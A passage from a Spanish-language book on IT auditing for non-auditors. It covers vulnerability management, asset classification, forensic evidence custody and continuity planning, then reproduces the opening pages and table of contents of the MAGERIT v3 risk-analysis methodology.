riesgos físicos y lógicos, como en el siguiente ciclo, pues es de sumo interés
saber si el fabricante, cuenta con un parche (programa) que suprime o mitiga
esta vulnerabilidad, si existe; si se ha aplicado y en consecuencia habrá que
estudiar cuales son los beneficios y los costes que supone su aplicación o ignorar
la existencia del mismo. Es muy importante tener presente que existen las
vulnerabilidades denominadas de día 0. Contra estas últimas, la única política
es: una continua monitorización, en los centros de alerta temprana y en el
fabricante. Para obtener información acerca de las vulnerabilidades existen webs
especializadas donde obtener la información necesaria, por ejemplo:
https://www.certsi.es/alerta-temprana/vulnerabilidades.
En esa misma página se referencia otras dos, que también contienen información
sobre vulnerabilidades. Es importante consultarlas de forma regular cada vez
que vamos a realizar un ciclo de auditoria interna / externa.
En el primer ciclo de auditoria, durante la ejecución del análisis de riesgo, una
evaluación temprana de las vulnerabilidades técnicas: ya sean de Hardware o
de Software o de ambas, no debemos olvidarnos, que algunas no se pueden
separar por su naturaleza ejemplo: las actualizaciones de firmware (servidores,
pc, impresoras) nos pueden ayudar a realizar un mejor reparto de tiempos entre
todas las tareas, no técnicas de la auditoria. Además, nos pueden dar una
primera valoración importante, que elementos presentan riesgos críticos, desde
el punto de vista técnico/ administrativo / jurídico, no admisibles a criterio de la
organización.
Como consecuencia de lo anterior, es probable, que las aplicaciones y las
infraestructuras de soporte físico y lógico, no estén actualizadas y por tanto no
cumplan los requisitos legales vigentes, a nivel local, quizás si en otros países
donde no exista una regulación legal especifica al respecto, ya que el
procedimiento operativo también estará obsoleto.
Por tanto: una inspección / auditoria, de calidad, debe de incluir como unos de
primeros objetivos los siguientes:
1º- Identificar los distintos tipos de activos existentes.
2º- Cuantificarlos.
Página 422 de 430

3º- Clasificarlos.
4º - Valorarlos.
5º - Categorizar los riesgos a los que están expuestos.
Como se puede deducir, esto no tiene relación con el clásico inventario contable
salvo por la valoración económica, que al menos debería contemplar tanto el
precio de compra, como el precio vigente, que debería ser 0, y muy importante
la fecha de compra para resolver la temática de la IoT, para elementos cuya
antigüedad supere los tres años desde la fecha de compra, aunque este criterio
se establece tomando como base los principios de la contabilidad fiscal o
impositiva, en el país y momento de efectuar la auditoria.
Asimismo, habrá que tener en cuenta si estamos hablando de aplicaciones
comerciales o estándar que admiten personalización o adecuación, o se trata de
una aplicación desarrollada a la medida, por causas que justificaron en su día el
desarrollo frente a la compra de software comercial, ello supone que este caso
tenemos al menos tres fuentes de vulnerabilidades que serían las siguientes:
1ª) El lenguaje de programación que se ha utilizado para su desarrollo. Aquí la
fuente de la vulnerabilidad suele el programador o programadores suele ser la
falta de o exceso de experiencia y la falta de supervisión de la totalidad del
código, puesto que se pueden crear funciones ocultas activables solo mediante
secuencia específicas que crear puertas traseras o activan partes del código que
permiten acceder a introducir datos en forma de inyecciones SQL.
2ª) Los repositorios de información que se utilizan entiéndase ficheros
convencionales, versus bases de datos (tanto SQL como No-SQL). Es
importante cifrar los datos para que no sean accesible mediante herramientas
ETL o mediante el uso de herramientas de ingeniería inversa.
3ª) Las reglas de seguridad aportadas por el lenguaje de programación y los
repositorios de datos utilizado.
Existe una cuarta fuente, pero debido a la segregación de las funciones de
seguridad a través de las capas de red y que los elementos de seguridad en red
ya no son gestionables desde aplicaciones, vía programación, que no sean en la
mayoría de los casos propiedad del fabricante, precisamente para asegurar la
segregación de funciones de seguridad y minimizar la interacción de las
comunicaciones, con los motores de bases de datos y los repositorios de
información, tratando así de evitar las inyecciones SQL para lograr acceder a
repositorios que contienen información sensible y garantizando el suministro de
múltiples mecanismos de seguridad como lo aportados por las VPNs y las VLANs
además de los aportados por Routers-Firewall-IDS/IPS-SEM/SIEM con el fin de
garantizar la integridad, disponibilidad y confidencialidad de la información.
En resumen, una vez hemos inventariado y clasificado nuestros activos,
categorizado desde la óptica del análisis de riesgos, podemos proceder a una
re-categorización en función de las vulnerabilidades encontradas tanto Hardware
Página 423 de 430

como Software Base y después hay que abrir un capítulo aparte para todo lo
relativo a Software de Aplicación tanto como al Software desarrollado a medida.
Evaluar entonces que sustituciones y actualizaciones Hardware y Software
serían necesarias en las infraestructuras básicas, y después de aplicarlas
verificar el comportamiento antes de aplicar las actualizaciones relativas al
Software de Aplicación y al Software desarrollado a medida.
Aquí debemos tener presente que en algunas ocasiones las actualizaciones
tanto de: Hardware como de Software ya sea Software Base como Software de
Aplicación Comercial o Desarrollado a medida, se desaconsejan salvo riesgo de
incumplimiento legal.
Estos casos son mínimos, pero deben estudiarse muy a fondo, dado que sus
implicaciones legales, se traducen en costos elevados y largos procesos que
pueden suponer perdidas económicas y de reputación, que son muy difíciles de
evaluar a priori.
Este ciclo del que hemos estado hablando hasta ahora, ocurre una vez cada
cinco años, cuando las normas sufren revisiones en profundidad, las revisiones
anuales son simples chequeos sobre sí la organización practica una correcta
política de monitorización y actualización / mantenimiento respecto a sus
componentes tecnológicos y las consecuencias legales, derivadas del uso de los
mismos.
Otra cuestión es son los procedimientos y la documentación asociada al uso de
los componentes tecnológicos, debido a que tanto los componentes Software
Base; como el Software Aplicativo, pueden sufrir importantes actualizaciones
que están documentadas por el propio fabricante, para que el cliente pueda
evaluar cómo le afectan, antes de aplicarlas.
En cuanto al Software desarrollado a medida, el problema es que este tipo de
Aplicaciones requiere largos ciclos de vida, que muchas veces no tienen la
duración necesaria, para lograr una estabilidad que permita documentar en
detalle y profundidad los cambios ocurridos a lo largo de todo el ciclo de vida del
aplicativo, salvo claro está que se esté utilizando herramientas CASE o de otro
tipo de herramientas que incluyan la generación de la documentación, para
generar el código núcleo de la aplicación y que las modificaciones no afecten a
funciones relacionadas con los accesos y mantenimiento de los datos, afectando
sólo a procesos estéticos o de confección de informes mediante herramientas
convencionales como generadores de informes y herramientas tipo ETL.
Es obvio que, en la Administración de Derechos de Acceso, que se gestionan a
través de los Sistemas Operativos de Red y de los Sistemas Operativos Locales,
existen otros sistemas de Gestión de Permisos que está gobernado por el Motor
de Base de Datos o del Motor de Ficheros de la propia aplicación. Cada vez más
se tiende a tener un mismo esquema de Derecho de Acceso, por simplicidad.
Página 424 de 430

Una vez que tenemos realizado el ciclo completo, tanto del software base como
del aplicativo y dado que muchos sistemas suelen estar interconectados, con
otros propios o ajenos, debemos comprobar que los cambios introducidos no
afectan a sistemas con los que hemos de intercambiar información y que, si
hemos de hacerlo, los procesos continúan operando como hasta ahora, en
cuanto a formatos de fecha, moneda, etc. En algunos casos habrá que añadir
modificaciones bien a nivel de parámetros de sistema, bien si utilizamos alguna
herramienta o una pequeña aplicación que nos permita adecuar los formatos de
entrada y salida entre nuestros sistemas y aquellos con los que necesitamos
compartir información.
Otra cuestión se plantea es: cuando permitimos, que proveedores de información
y servicios utilicen parte de nuestros sistemas y ellos introducen cambios en su
software base, que afectan a parte de los datos, como los formatos de fecha y
hora. Esos cambios deberían pasar una etapa previa de adecuación para
minimizar el número de incidencias, que se pueden generar debido a dichos
cambios. Se trata más de un problema de comunicación técnica e interpersonal
que de un problema técnico propiamente dicho.
Dada la necesidad de contar con entornos seguros, cada vez más empresas
utilizan a empresas externas como gestores de seguridad, que son en realidad
laboratorios abiertos de seguridad, donde se intercambian continuamente datos
de comportamientos sospechosos, gestionado mediante herramientas
SEM/SIEM, uno o varios antivirus, varios router-firewall y por últimos varios
IDS/IPS por donde la información pasa antes de ser transferida al Cliente.
Son servicios que, por una tarifa variable, dependiendo del grado de seguridad
que deseemos gestionar, permiten minimizar las inversiones tanto en
infraestructura física como lógica y personal especializado, aunque ello supone
en una gran medida ceder el control a un tercero.
Suele ser práctica habitual también tener contratado con el gestor de seguridad
externa, el tema de la copia de seguridad y su recuperación, con la evolución
experimentada por la herramientas de Backup/Recovery a las que hay que
añadir las herramientas de Virtualización que permiten replicar centros enteros
de procesos de datos, sus aplicaciones y procesos asociados, facilitando al
cliente final servidores de comunicaciones y terminales que se reconfiguran en
un mínimo lapso de tiempo, en caso de desastre, queda garantizando la
continuidad operativa del negocio, siempre y cuando hayan recibido toda la
documentación funcional, técnica y operativa que permite replicar el centro de
datos que haya quedo temporalmente inoperativo.
Por tanto, además de profundizar en las vulnerabilidades de Hardware, Software
Base y Software Aplicativo necesitamos focalizar en un último esfuerzo en dos
puntos que son los que actualmente ocupan el centro de atención de los expertos
en seguridad que son las Redes y los Usuarios, el problema es que las Redes
son simples intermediarios entre dos puntos, dado que su sistema operativo
suele diferir de los denominados sistemas operativos de redes convencionales y
por supuesto no existen los sistemas operativos clientes, ya que el Cliente final
Página 425 de 430

de un sistema operativo de red es otro sistema operativo de red, que además

opera con un modelo de sólo cuatro capas, frente a las siete capas del modelo
de referencia OSI de ISO. Desde la quinta a la séptima no existen en un sistema
operativo de red, al menos en modo operativo convencional.
Esta diferencia es crítica, dado que sólo sistemas intermedios, no pueden
ejecutar software, diferente al sistema operativo de red, mientras los sistemas
operativos finales, es decir, los servidores de redes locales o clientes tienen
sistemas operativos que pueden ejecutar programas, con lo que ello implica.
Acceso a los recursos de los sistemas clientes, entiéndase Windows Desktops,
Mac Desktops y las múltiples versiones Linux Desktops, todos ellos tienen en
común que los ataques que sufren tienen que ver con modificaciones de
atributos, o escalado de privilegios, programas escritos expresamente, para
borrar o cifrar datos, dejar puertas abiertas cada vez que el sistema se inicia o
enciende, capacidad de auto replicación y transferencia a otros ordenadores,
cambio en la configuración de la página de inicio del navegador por defecto o
establecida por el usuario, etc…
Por ello es tan importante mantener actualizado todos los sistemas operativos
tanto servidores, como clientes, así como los programas de monitorización del
sistema, los antivirus, tener definidas y consolidas las reglas de los routers y de
los firewall de red y uso de las reglas de los firewall en el ámbito de los servidores
locales (intranets) para analizar tráfico y conexiones internas de la red, utilizando
las tecnologías VLAN y VPNs cuando haya de cruzarse tráfico entre puestos
locales y remotos, por razones operativas o sea de negocio. Hacer una continua
monitorización de seguridad no sólo el tráfico de comunicaciones vinculado con
servicios de intercambio de datos, sino también con el tráfico vinculado con
impresión y envió / recepción de ficheros vía FTP.
Esta monitorización sería deseable que se realizará mediante un tercero,
estableciendo unos umbrales, que una vez superados fueran re-enviados, con la
debida justificación, tanto en lenguaje técnico / como no técnico al personal
responsable del mantenimiento de las intranets, como a las áreas jurídicas y de
recursos humanos, por si cabe la aplicación de los diferentes niveles de
sanciones administrativas-y-económicas, llegando incluso al despido
disciplinario, para lo cual habrá siempre de aportarse pruebas obtenidas
mediante los procesos propios de la informática forense.
En cuanto a la gestión de los incidentes su clasificación y gravedad son
responsabilidad tanto de la parte técnica, como de la parte de administración de
personal y por supuesto de la parte jurídica, que debe de velar por no
sobrepasar, los limites legalmente establecidos y permitidos que deben estar
reflejados en cualquier contrato, tanto sea personal interno, como externo en
comisión de servicios (personal de proveedores).
Es obvio que los incidentes clasificados como graves, si se tiene la seguridad
gestionada mediante un tercero será responsabilidad de este último, guardar
Página 426 de 430

todas las evidencias posibles conforme a las disposiciones legales, incluso antes
de que llegue a destino y el incidente se desencadene.
Cuando sea la propia empresa quien gestione la seguridad, deberá contar con
medidas que permitan aislar el equipo, capturar todas las evidencias volátiles
posibles (programas en ejecución durante el incidente, drivers, documentos y
aplicaciones abiertas, sesiones de los navegadores, etc…todo aquello
susceptible de desaparecer al apagar el equipo) y en una etapa posterior ya
aislado de toda conexión de red deberá procederse a obtener una copia espejo
del contenido del disco duro partición / carpetas del usuario vigente, en el
momento de ocurrir el incidente, así como de los ficheros compartidos entre este
puesto y el servidor.
Todo el material obtenido debe almacenarse en soporte de una única escritura
si es posible o en medios de almacenamiento externo, que puedan situarse fuera
de la empresa y fuera del alcance del personal técnico o de los usuarios
habituales, se puede utilizar un servicio de custodia si la empresa de seguridad
física, si dispusiera del mismo, en caso contrario, una caja de seguridad en un
banco, sería una buena opción siempre y cuando el acceso requiera de la
concurrencia simultanea de al menos dos personas, siendo una de ellas,
personal del área jurídica, por razones obvias. Aunque pueda parecer superfluas
estas observaciones, siempre es bueno recordar principios básicos, ya que
omiten unas veces de forma voluntarias y otra no.
Si se siguen estas indicaciones básicas expuestas hasta aquí, la parte técnica
debería estar resuelta, sin mayores problemas siendo una colección de
hallazgos que deben ser gestionados y puestos en práctica, subsanado o
soslayado los problemas más graves y continuando en orden decreciente hasta
los leves, siendo de nuevo re evaluados habiendo establecido responsables de
su ejecución y supervisión. Las medidas aplicadas y sus resultados deben
quedar registrados y documentados para ser útiles, en posteriores revisiones
que puedan generar nuevos problemas o re abrir los existentes previos a la
aplicación de las mismas.
Otro tema diferente es la documentación relativa a procesos y procedimientos
no técnicos y que tienen que ver con la operativa del negocio y su gestión. Deben
documentarse la asignación de responsabilidad de gestión, técnicas, económica
y otras.
Deben estar documentos y asignados los diferentes niveles de responsabilidad
así como de interlocución dentro y fuera de la organización, por tanto deben estar
actualizados y monitorizados todos los datos de contactos de los responsable de
cada proceso vinculado a las acciones que pertenecen a los planes de
continuidad del negocio, esto es, la ISO22301 y la ISO22320 esta última está
relacionada también con la 18001 OHSAS que en su momento será sustituida
por la 45001 que es un sistema integrado por las normas 9001+14001+18001 ya
que estos conjuntos de normas, tienen como único objetivo preparar a la
organización para hacer frente a contingencias que exceden el ámbito
tecnológico y que tienen que ver con el cumplimiento de las normas relacionadas
Página 427 de 430

con cumplimientos legales, con respecto a la seguridad física de las personas y

del entorno de trabajo.
Aunque pueda parecer una obviedad, muchas empresas tienen planes de
evacuación y de emergencia, que no se revisan y que no se modifican, aunque
las instalaciones sufran modificaciones arquitectónicas, también es frecuente
omitir la realización de simulacros, porque muchos responsables alegan que eso
es sólo es una pérdida de tiempo, hasta que un día hay que ponerlos en práctica
y alguien se lesiona, alguien sufre ahogamiento porque la salida de emergencia
está bloqueada, sin ninguna justificación, o sencillamente porque nadie les
enseña a los empleados a utilizar un extintor o una BIE (Boca de Extinción de
Incendios Equipada) o simplemente no se les explica que abrir una puerta
equivocada puede provocar una deflagración o un estallido semejante al de una
bomba, empeorando de forma exponencial una situación de por si grave.
Insisto no es una obviedad, se da, como se da el falseamiento en los libros de
registro de la realización de simulacros, basta con preguntar a cualquier
responsable en un plan de evacuación de cualquier edificio cuanto se tarda en
evacuar y en recorrer para revisión rápida. Otro aspecto muy importante verificar
el correcto funcionamiento tanto de los sistemas de detección de fuego, como de
videovigilancia, es importante no sólo hacerlos visibles, sino verificar su correcto
funcionamiento y esto es competencia de Seguridad Física y de las empresas
de mantenimiento de estos sistemas de misión crítica.
Por tanto: sabemos y conocemos que elementos necesitamos controlar para
verificar, que hemos realizado una investigación de calidad, sobre aquellos
elementos básicos que definen nuestro entorno operativo físico y lógico respecto
al negocio.
En los siguientes capítulos anexos en realidad, hemos incorporado lecturas que,
no siendo elementos básicos, como los expuesto hasta aquí son elementos de
consulta interesante o exposiciones muy elaboradas por profesionales muy
especializados en determinadas parcelas, no técnicas y más relacionadas con la
conducta de los seres humanos frente a los sistemas de información.
Mi deseo y mi anhelo al escribir este libro sobre la Auditoria para no Auditores
es: lograr que se deje de considerar a cualquier tipo de Auditoria como una caza
de brujas moderna, las Auditorias lo que deben lograr es mostrarnos en que
podemos mejorar, obligarnos a la redacción y ejecución de proyectos, para lograr
esas mejoras, y una vez implantadas volver a comenzar un nuevo ciclo, dado
que las tecnologías de la información, están en continua evolución y esta misma
evolución por sinergia hace evolucionar la teoría de los negocios y sus
aplicaciones e interacciones con el entorno donde se desarrollan, en un ciclo de
cambio continuo.
El Autor.
Página 428 de 430

Página 429 de 430

INDICE DE LOS ANEXOS
METODOLOGIA DE EVALUACIÓN DEL RIESGO MAGERIT V 3.
Libro 1
Metodología Análisis del Riesgo. 127 páginas
Libro 2
Catálogo de Activos, Criterios de Valoración, Amenazas y Salvaguardias.
75 páginas
Libro 3 Técnicas
Generales y Especificas. 42 Páginas
METODOLOGIA OWASP
Guía de Prueba Versión 4.0 Español Borrador- Ecuador 313 Páginas.
INCIBE INTECO-DELOITTE.
Guía de implantación de un plan de Continuidad para PYMES. 80 Páginas.
JOSÉ LUIS DE LA CUESTA ARZAMENDI Y ANA ISABEL PÉREZ MACHÍO
Ciberdelicuentes-y-Cibervictimas 22 Páginas.
Página 430 de 430

MAGERIT – versión 3.0
Metodología de Análisis y Gestión
de Riesgos de los Sistemas de Información
Libro I - Método
TÍTULO: MAGERIT – versión 3.0. Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información.
Libro I - Método
Elaboración y coordinación de contenidos:

Dirección General de Modernización Administrativa, Procedimientos e Impulso de la Administración Electrónica
Equipo responsable del proyecto:

Director, Miguel Angel Amutio Gómez, Ministerio de Hacienda y Administraciones Públicas
Javier Candau, Centro Criptológico Nacional, Ministerio de la Presidencia
Consultor externo: José Antonio Mañas, Catedrático de la Universidad Politécnica de Madrid
Características: Adobe Acrobat 5.0

Responsable edición digital: Subdirección General de Información, Documentación y Publicaciones
(Jesús González Barroso)
Madrid, octubre de 2012

Disponible esta publicación en el Portal de Administración Electrónica (PAe):
http://administracionelectronica.gob.es/
Edita:
© Ministerio de Hacienda y Administraciones Públicas
Secretaría General Técnica
Subdirección General de Información,
Documentación y Publicaciones
Centro de Publicaciones
Colección: administración electrónica

NIPO: 630-12-171-8
Magerit 3.0
Índice
1. Introducción ...................................................................................................................6
1.1 Buen gobierno .........................................................................................................................6
1.2. Confianza ...............................................................................................................................6
1.3. Gestión ...................................................................................................................................7
1.4. Magerit ...................................................................................................................................7
1.5. Introducción al análisis y gestión de riesgos ..........................................................................8
1.6. El análisis y el tratamiento de los riesgos en su contexto ....................................................10
1.6.1. Concienciación y formación..........................................................................................11
1.6.2. Incidencias y recuperación ...........................................................................................11
1.7. Organización de las guías....................................................................................................12
1.7.1. Modo de empleo ...........................................................................................................12
1.7.2. El catálogo de elementos .............................................................................................13
1.7.3. La guía de técnicas.......................................................................................................14
1.8. Evaluación, certificación, auditoría y acreditación................................................................14
1.9. ¿Cuándo procede analizar y gestionar los riesgos? ............................................................16
2. Visión de conjunto.......................................................................................................19
3. Método de análisis de riesgos....................................................................................22
3.1. Conceptos paso a paso........................................................................................................22
3.1.1. Paso 1: Activos .............................................................................................................22
3.1.2. Paso 2: Amenazas........................................................................................................27
3.1.3. Determinación del impacto potencial............................................................................28
3.1.4. Determinación del riesgo potencial...............................................................................29
3.1.5. Paso 3: Salvaguardas...................................................................................................31
3.1.6. Paso 4: impacto residual ..............................................................................................35
3.1.7. Paso 5: riesgo residual .................................................................................................35
3.2. Formalización de las actividades .........................................................................................35
3.2.1. Tarea MAR.1: Caracterización de los activos...............................................................37
3.2.2. Tarea MAR.2: Caracterización de las amenazas .........................................................40
3.2.3. Tarea MAR.3: Caracterización de las salvaguardas ....................................................42
3.2.4. Tarea MAR.4: Estimación del estado de riesgo ...........................................................44
3.3. Documentación ....................................................................................................................45
3.4. Lista de control .....................................................................................................................46
4. Proceso de gestión de riesgos...................................................................................47
4.1. Conceptos ............................................................................................................................48
4.1.1. Evaluación: interpretación de los valores de impacto y riesgo residuales....................48
4.1.2. Aceptación del riesgo ...................................................................................................49
4.1.3. Tratamiento...................................................................................................................49
4.1.4. Estudio cuantitativo de costes / beneficios ...................................................................50
4.1.5. Estudio cualitativo de costes / beneficios .....................................................................53
4.1.6. Estudio mixto de costes / beneficios.............................................................................53
4.1.7. Opciones de tratamiento del riesgo: eliminación ..........................................................53
4.1.8. Opciones de tratamiento del riesgo: mitigación............................................................53
4.1.9. Opciones de tratamiento del riesgo: compartición........................................................54
4.1.10. Opciones de tratamiento del riesgo: financiación .......................................................54
4.2. Formalización de las actividades .........................................................................................54
4.2.1. Roles y funciones .........................................................................................................55
4.2.2. Contexto .......................................................................................................................57
4.2.3. Criterios ........................................................................................................................57
4.2.4. Evaluación de los riesgos .............................................................................................58
4.2.5. Decisión de tratamiento ................................................................................................58
4.2.6. Comunicación y consulta..............................................................................................59
4.2.7. Seguimiento y revisión..................................................................................................59
4.3. Documentación del proceso.................................................................................................60
4.4. Indicadores de control del proceso de gestión de riesgos ...................................................60
© Ministerio de Hacienda y Administraciones Públicas página 3 (de 127)
Magerit 3.0
5. Proyectos de análisis de riesgos ...............................................................................62
5.1. Roles y funciones .................................................................................................................62
5.2. PAR.1 – Actividades preliminares ........................................................................................64
5.2.1. Tarea PAR.11: Estudio de oportunidad ........................................................................64
5.2.2. Tarea PAR.12: Determinación del alcance del proyecto ..............................................66
5.2.3. Tarea PAR.13: Planificación del proyecto ....................................................................69
5.2.4. Tarea PAR.14: Lanzamiento del proyecto....................................................................69
5.3. PAR.2 – Elaboración del análisis de riesgos........................................................................70
5.4. PAR.3 – Comunicación de resultados..................................................................................71
5.5. Control del proyecto .............................................................................................................71
5.5.1. Hitos de control.............................................................................................................71
5.5.2. Documentación resultante ............................................................................................71
6. Plan de seguridad ........................................................................................................73
6.1. Tarea PS.1: Identificación de proyectos de seguridad.........................................................73
6.2. Tarea PS.2: Planificación de los proyectos de seguridad ....................................................75
6.3. Tarea PS.3: Ejecución del plan ............................................................................................76
6.4. Lista de control de los planes de seguridad .........................................................................76
7. Desarrollo de sistemas de información .....................................................................77
7.1. Inicialización de los procesos...............................................................................................77
7.2. SSI – Seguridad del sistema de información .......................................................................78
7.2.1. Ciclo de vida de las aplicaciones..................................................................................79
7.2.2. Contexto .......................................................................................................................80
7.2.3. Fase de especificación: adquisición de datos ..............................................................80
7.2.4. Fase de diseño: estudio de opciones ...........................................................................81
7.2.5. Soporte al desarrollo: puntos críticos ...........................................................................81
7.2.6. Aceptación y puesta en marcha: puntos críticos ..........................................................82
7.2.7. Operación: análisis y gestión dinámicos.......................................................................83
7.2.8. Ciclos de mantenimiento: análisis marginal..................................................................83
7.2.9 Terminación ...................................................................................................................83
7.2.10 Documentación de seguridad ......................................................................................84
7.3. SPD – Seguridad del proceso de desarrollo ........................................................................84
7.4. Referencias ..........................................................................................................................85
8. Consejos prácticos......................................................................................................86
8.1. Alcance y profundidad..........................................................................................................86
8.2. Para identificar activos .........................................................................................................87
8.3. Para descubrir y modelar las dependencias entre activos...................................................88
8.4. Para valorar activos..............................................................................................................91
8.5. Para identificar amenazas....................................................................................................93
8.6. Para valorar amenazas ........................................................................................................93
8.7. Para seleccionar salvaguardas ............................................................................................94
8.8. Aproximaciones sucesivas ...................................................................................................94
8.8.1. Protección básica .........................................................................................................95
Apéndice 1. Glosario .......................................................................................................97
A1.1. Términos en español .........................................................................................................97
A1.2. Términos anglosajones....................................................................................................106
A1.3. ISO – Gestión del riesgo..................................................................................................107
Apéndice 2. Referencias ...............................................................................................108
Apéndice 3. Marco legal ................................................................................................112
A3.1. Seguridad en el ámbito de la Administración electrónica ................................................112
A3.2. Protección de datos de carácter personal .......................................................................112
A3.3. Firma electrónica .............................................................................................................112
A3.4. Información clasificada ....................................................................................................112
A3.5. Seguridad de las redes y de la información.....................................................................113
Apéndice 4. Marco de evaluación y certificación .......................................................114
A4.1. Sistemas de gestión de la seguridad de la información (SGSI).......................................114
Magerit 3.0
A4.1.1. La certificación .........................................................................................................115
A4.1.2. La acreditación de la entidad certificadora...............................................................116
A4.1.3. Terminología ............................................................................................................116
A4.2. Criterios comunes de evaluación (CC) ............................................................................117
A4.2.1. Beneficiarios.............................................................................................................119
A4.2.2. Requisitos de seguridad...........................................................................................119
A4.2.3. Creación de perfiles de protección...........................................................................120
A4.2.4. Uso de productos certificados ..................................................................................121
A4.2.5. Terminología ............................................................................................................122
Apéndice 5. Herramientas.............................................................................................124
A5.1. PILAR...............................................................................................................................125
Apéndice 6. Evolución de Magerit................................................................................126
A6.1. Para los que han trabajado con Magerit v1 .....................................................................126
A6.2. Para los que han trabajado con Magerit v2 .....................................................................127

Magerit 3.0 Introducción
1. Introducción
El CSAE 1 ha elaborado y promueve Magerit 2 como respuesta a la percepción de que la Adminis-
tración Pública (y en general toda la sociedad) depende de forma creciente de los sistemas de in-
formación para alcanzar sus objetivos. El uso de tecnologías de la información y comunicaciones
(TIC) supone unos beneficios evidentes para los ciudadanos; pero también da lugar a ciertos ries-
gos que deben gestionarse prudentemente con medidas de seguridad que sustenten la confianza
de los usuarios de los servicios.
1.1 Buen gobierno

La gestión de los riesgos es una piedra angular en las guías de buen gobierno [ISO 38500], públi-
co o privado, donde se considera un principio fundamental que las decisiones de gobierno se fun-
damenten en el conocimiento de los riesgos que implican:
1.6.12 Propuesta
Recopilación de los beneficios, costos, riesgos, oportunidades, y otros factores que deben
tenerse en cuenta en las decisiones que se tomen. 3
cubriendo riesgos en general y riesgos TIC en particular:
Esta norma establece los principios para el uso eficaz, eficiente y aceptable de las tecnolo-
gías de la información. Garantizando que sus organizaciones siguen estos principios ayuda-
rá a los directores a equilibrar riesgos y oportunidades derivados del uso de las TI. 4
Se insiste recurrentemente en el necesario equilibrio entre riesgos y oportunidades para tomar las
mejores decisiones.
En pocas palabras, la gestión de los riesgos es nuclear al gobierno de las organizaciones. En par-
ticular, los riesgos que tienen su origen en el uso de tecnologías de la información deben trasla-
darse a los órganos de gobierno y contextualizarse en la misión de la organización.
El conocimiento de los riesgos permite calibrar la confianza en que los sistemas desempeñarán su
función como la Dirección espera, habilitando un marco equilibrado de Gobierno, Gestión de Ries-
gos y Cumplimiento (GRC), tres áreas que deben estar integradas y alineadas para evitar conflic-
tos, duplicación de actividades y zonas de nadie.
Los órganos de gobierno no deben tratar solamente riesgos TIC. Es más, no deben tratar los ries-
gos TIC por separado de los demás riesgos. Aunque Magerit se especializa en riesgos TIC, de-
bemos ser muy conscientes de que es esencial transmitir a los órganos de gobiernos las oportuni-
dades y los riesgos que conllevan las tecnologías de la información para que se puedan incluir en
un marco global y tomar las mejores decisiones para la Organización.
1.2. Confianza
La confianza es la esperanza firme que se tiene de que algo responderá a lo previsto. La confian-
za es un valor crítico en cualquier organización que preste servicios. Las administraciones públi-
cas son especialmente sensibles a esta valoración.
Por una parte dependemos fuertemente de los sistemas de información para cumplir nuestros ob-
jetivos; pero por otra parte, no deja de ser un tema recurrente la inquietud por su seguridad. Los
afectados, que frecuentemente no son técnicos, se preguntan si estos sistemas merecen su con-
fianza, confianza que se ve mermada por cada fallo y, sobre todo, cuando la inversión no se tra-
1
CSAE: Consejo Superior de Administración Electrónica.
2
MAGERIT: Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información
3
1.6.12 Proposal. Compilation of benefits, costs, risks, opportunities, and other factors applicable to deci-
sions to be made. Includes business cases
4
This standard establishes principles for the effective, efficient and acceptable use of IT. Ensuring that
their organisations follow these principles will assist directors in balancing risks and encouraging opportu-
nities arising from the use of IT.
duce en la ausencia de fallos. Lo ideal es que los sistemas no fallen. Pero lo cierto que se acepta
convivir con sistemas que fallan. El asunto no es tanto la ausencia de incidentes como la confian-
za en que están bajo control: se sabe qué puede pasar y se sabe qué hacer cuando pasa. El te-
mor a lo desconocido es el principal origen de la desconfianza y, en consecuencia, aquí se busca
conocer para confiar: conocer los riesgos para poder afrontarlos y controlarlos.
1.3. Gestión
Conocer el riesgo al que están sometidos los elementos de trabajo es, simplemente, imprescindi-
ble para poder gestionarlos.
En el periodo transcurrido desde la publicación de la primera versión de Magerit (1997) hasta la
fecha, el análisis de riesgos se ha venido consolidando como paso necesario para la gestión de la
seguridad. Así se recoge claramente en las Directrices de la OCDE [OCDE] que, en su principio 6
dicen:
6) Evaluación del riesgo. Los participantes deben llevar a cabo evaluaciones de riesgo.
En el Esquema Nacional de Seguridad [RD 3/2010], el Capítulo II Principios Básicos, dice
Artículo 6. Gestión de la seguridad basada en los riesgos.
1. El análisis y gestión de riesgos será parte esencial del proceso de seguridad y deberá
mantenerse permanentemente actualizado.
2. La gestión de riesgos permitirá el mantenimiento de un entorno controlado, minimizando
los riesgos hasta niveles aceptables. La reducción de estos niveles se realizará mediante el
despliegue de medidas de seguridad, que establecerá un equilibrio entre la naturaleza de los
datos y los tratamientos, los riesgos a los que estén expuestos y las medidas de seguridad.
1.4. Magerit
Siguiendo la terminología de la normativa ISO 31000, Magerit responde a lo que se denomina
“Proceso de Gestión de los Riesgos”, sección 4.4 (“Implementación de la Gestión de los Riesgos”)
dentro del “Marco de Gestión de Riesgos”. En otras palabras, MAGERIT implementa el Proceso
de Gestión de Riesgos dentro de un marco de trabajo para que los órganos de gobierno tomen
decisiones teniendo en cuenta los riesgos derivados del uso de tecnologías de la información.
Ilustración 1. ISO 31000 - Marco de trabajo para la gestión de riesgos

Hay varias aproximaciones al problema de analizar los riesgos soportados por los sistemas TIC:
guías informales, aproximaciones metódicas y herramientas de soporte. Todas buscan objetivar el
análisis de riesgos para saber cuán seguros (o inseguros) son los sistemas y no llamarse a enga-
ño. El gran reto de todas estas aproximaciones es la complejidad del problema al que se enfren-
tan; complejidad en el sentido de que hay muchos elementos que considerar y que, si no se es
riguroso, las conclusiones serán de poco fiar. Es por ello que en Magerit se persigue una aproxi-
mación metódica que no deje lugar a la improvisación, ni dependa de la arbitrariedad del analista.
Magerit persigue los siguientes objetivos:
Directos:
1. concienciar a los responsables de las organizaciones de información de la existencia de
riesgos y de la necesidad de gestionarlos
2. ofrecer un método sistemático para analizar los riesgos derivados del uso de tecnologías de
la información y comunicaciones (TIC)
3. ayudar a descubrir y planificar el tratamiento oportuno para mantener los riesgos bajo control
Indirectos:
4. preparar a la Organización para procesos de evaluación, auditoría, certificación o acredita-
ción, según corresponda en cada caso
También se ha buscado la uniformidad de los informes que recogen los hallazgos y las conclusio-
nes de las actividades de análisis y gestión de riesgos:
Modelo de valor
Caracterización del valor que representan los activos para la Organización así como de las
dependencias entre los diferentes activos.
Mapa de riesgos
Relación de las amenazas a que están expuestos los activos.
Declaración de aplicabilidad
Para un conjunto de salvaguardas, se indica sin son de aplicación en el sistema de informa-
ción bajo estudio o si, por el contrario, carecen de sentido.
Evaluación de salvaguardas
Evaluación de la eficacia de las salvaguardas existentes en relación al riesgo que afrontan.
Estado de riesgo
Caracterización de los activos por su riesgo residual; es decir, por lo que puede pasar to-
